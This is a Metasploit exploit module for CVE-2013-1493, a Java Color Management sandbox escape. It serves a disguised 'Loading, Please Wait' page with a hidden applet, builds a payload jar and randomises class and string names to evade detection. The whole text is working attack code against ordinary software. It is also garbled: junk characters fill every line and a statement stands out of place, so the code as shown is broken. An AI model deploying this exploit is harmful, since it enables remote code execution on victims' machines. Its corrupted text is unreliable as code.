##/ ]: U' M, D* P* _
' G$ d5 ~7 M# w& c6 @# This file is part of the Metasploit Framework and may be subject to4 R" N0 {$ P6 O
# redistribution and commercial restrictions. Please see the Metasploit- w F# A( a& Q8 f) F
# web site for more information on licensing and terms of use.8 E2 W/ k9 J, W9 V
# http://metasploit.com/& z7 x7 k. f/ D% W/ `- O8 B
##7 S8 T7 l- q, l6 l! }3 C2 M4 ?% z. H
require ‘msf/core’
; Q# y1 P o a7 t# z6 l2 ]require ‘rex’
, E2 B. [' C0 C; G: Tclass Metasploit3 < Msf::Exploit::Remote) T3 v1 N" ]! |4 I0 [
Rank = NormalRanking
- A" Q$ |! z, M" D3 oinclude Msf::Exploit::Remote::HttpServer::HTML
& v7 b; s+ \ p& q. t/ ~( Qinclude Msf::Exploit::EXE
- V ]1 Y+ o* ~include Msf::Exploit::Remote::BrowserAutopwn7 v! j5 e: W5 o
autopwn_info({ :javascript => false })
* d6 \' }' @4 z* Udef initialize( info = {} )
0 I6 J2 k9 V, h: ?. h2 g: Msuper( update_info( info,- L' V% n& p# Z4 Z9 s
‘Name’ => ‘Java CMM Remote Code Execution’,
4 C- q5 w6 u( b7 h6 a‘Description’ => %q{- ]$ m) O2 G1 E1 j3 V3 `% D+ ?: I
This module abuses the Color Management classes from a Java Applet to run4 x0 ~4 q# b) p9 j
arbitrary Java code outside of the sandbox as exploited in the wild in February
; \, y' Y; t9 p2 zand March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41! l. X! m a7 J% I1 O) {
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1. ^9 D: ~' R+ |' {& u- e/ _
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java
' @2 ?9 ]$ w3 f$ G9 w; D! o- lwarning in order to run the malicious applet.1 a$ w4 N8 f4 [
},
8 f7 }/ d8 P, I$ O! x$ e- O‘License’ => MSF_LICENSE,
3 ~4 F" b i0 K8 Q$ R‘Author’ =>
; K! A0 s) S4 d/ ^8 Y'Unknown', # Vulnerability discovery and Exploit
' m9 P, ^: S5 l" i8 o% O'juan vazquez' # Metasploit module (just ported the published exploit)0 X$ Q8 x& s1 s6 M
],
! @: ^9 z7 S2 d‘References’ =>0 Q0 ~2 p3 H: T
[* I7 q- @9 E, L/ q$ R5 D1 v
[ 'CVE', '2013-1493' ],
. D9 X" s) h2 t! E0 z0 o N[ 'OSVDB', '90737' ]," L$ s _4 L# J y( w$ C
[ 'BID', '58238' ],' a+ [6 o# }7 d4 L3 W
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
# a! y. f0 w! s! W5 n6 x9 G+ J[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
: x& E+ v* l' F$ f[ 'URL', 'http://pastie.org/pastes/6581034' ]) o: \; S! g: Y8 A
],
0 K* M, l0 L/ T‘Platform’ => [ 'win', 'java' ],; ?( F2 F# O" n
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },8 i# ?4 {1 s# r8 i( C. S. E# D. X
‘Targets’ =>; J6 t: P. T! D$ [5 V( [0 k& X. X
[
1 Z* {$ v6 \$ D/ }# R' \* l8 n[ 'Generic (Java Payload)',
, P' z' R) q- R+ T: U( W{
6 Z5 i8 Y, I, |1 g5 ]. }$ v- K# i& [# Y'Platform' => 'java',
& W! p/ h' @' G/ r# `# p'Arch' => ARCH_JAVA
+ M( }7 X; e0 V5 ^) P9 F( s+ n}' I+ x( h' ~! |
],% \) n* K: L! }; Q
[ 'Windows x86 (Native Payload)',& \. g7 L5 I: K# r. q7 a
{
" @6 R3 ~/ [ J, G'Platform' => 'win',* d' K; C0 i# x Y& g0 c; O
'Arch' => ARCH_X86
3 k+ R$ p4 [: C( L) z- C}
. R. \9 D M; @]
! T1 ]) r9 e$ c& }. r8 l9 y1 m( P! K],
2 R/ N$ C9 V9 N‘‘DisclosureDate’ => ‘Mar 01 2013′
+ K4 W$ H" s% V' K$ r/ W O))! k& P4 C v" s8 w
end9 [& H1 O5 V# Z/ @
def setup, K7 r- ] \/ q( F) q
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)" y1 e. U+ S- ?
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }0 J6 A8 ~3 P- s
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
0 C) R3 Y9 a, Q9 f# h/ Y0 u6 v9 }@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
. x8 Q# S4 E o* A% k+ Kpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
+ i" i2 D7 W& |@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }; d0 U! V5 {! `- B
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
& C* c) J: x( f9 }@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
1 l8 ~2 h7 C, P9 T7 K@init_class_name = rand_text_alpha(“Init”.length)- |$ A0 j- @7 \+ L e* v; F( ?* v, n
@init_class.gsub!(“Init”, @init_class_name): D. O) t! W5 P; ]+ F4 J- ?3 i
super
( ~! D' ]1 Y2 n/ F9 J& `& fend! S1 i3 h6 H8 |7 [& t
def on_request_uri(cli, request)
) W2 w% z" q4 Eprint_status(“handling request for #{request.uri}”)
! Y# Z2 M: X$ Q0 ~case request.uri
4 f4 w3 ?4 z0 O) a" d$ X/ Iwhen /\.jar$/i
! V* }1 `0 W9 p0 `jar = payload.encoded_jar( W+ v9 h F6 V! \# M: ?- }
jar.add_file(“#{@init_class_name}.class”, @init_class)9 P8 Y5 `- B7 ~$ L
jar.add_file(“Leak.class”, @leak_class)
, U# V5 B! E- n; n% a6 ^4 _jar.add_file(“MyBufferedImage.class”, @buffered_image_class)
0 V b$ V2 {9 R, l& G$ xjar.add_file(“MyColorSpace.class”, @color_space_class); e2 Z: n" q, R' }
DefaultTarget’ => 1,7 R- y! a% t9 W
metasploit_str = rand_text_alpha(“metasploit”.length)( e! f) l9 }! {0 \2 L# z. F/ V
payload_str = rand_text_alpha(“payload”.length)
: h/ N) Y( F4 V( i) Ljar.entries.each { |entry|
! N/ N$ Y, e- m8 S3 S9 X& bentry.name.gsub!(“metasploit”, metasploit_str) |+ a' q( c0 L7 Z% a$ |4 t
entry.name.gsub!(“Payload”, payload_str)
p4 L3 Y4 v+ T* J; F' v1 ?* M4 Lentry.data = entry.data.gsub(“metasploit”, metasploit_str)3 U$ w# f5 J: K6 I! R1 d% t# w
entry.data = entry.data.gsub(“Payload”, payload_str)
+ \( u7 f4 n4 m A/ m}
% O' v: o) \' c. j8 x6 a: tjar.build_manifest) Q7 {, a0 X q6 H* ^
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
. T- ^% T% m: H0 r& R# ?when /\/$/) i p, X' Y/ K$ w* |
payload = regenerate_payload(cli)
- r! ?& d0 O: P) e) Vif not payload7 q" e- i% K4 |: V. g
print_error(“Failed to generate the payload.”)
: _; U5 [5 K' R1 _send_not_found(cli)
+ \; l! L/ ~# Q3 A& h9 a7 C/ qreturn! P1 ]7 Y' V8 d
end
" Q& F: M, ?3 V' Y% z/ s; v1 F9 osend_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })& N* ]: ?' Y3 R2 `8 X- j
else! z4 `$ `9 V( s
send_redirect(cli, get_resource() + ‘/’, ”)+ C* X: j/ M2 l+ I* f1 x- d
end
0 B! c% Y6 m+ A# Zend1 J) k" z, v. S0 u
def generate_html7 _5 Z2 N. Q; e
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|' _# a" r0 m6 `+ @, b5 m! n
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|
9 A4 V' v6 E khtml += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>| H) ` R5 r' g
html += %Q|</applet></body></html>|
8 j) ?( t7 [: nreturn html
3 ^# S5 ]" s6 L0 rend
" h- g' ?9 V4 D5 i4 Bend
2 ]# |8 ~% l. h5 Zend
3 J. @8 `9 G$ O$ l |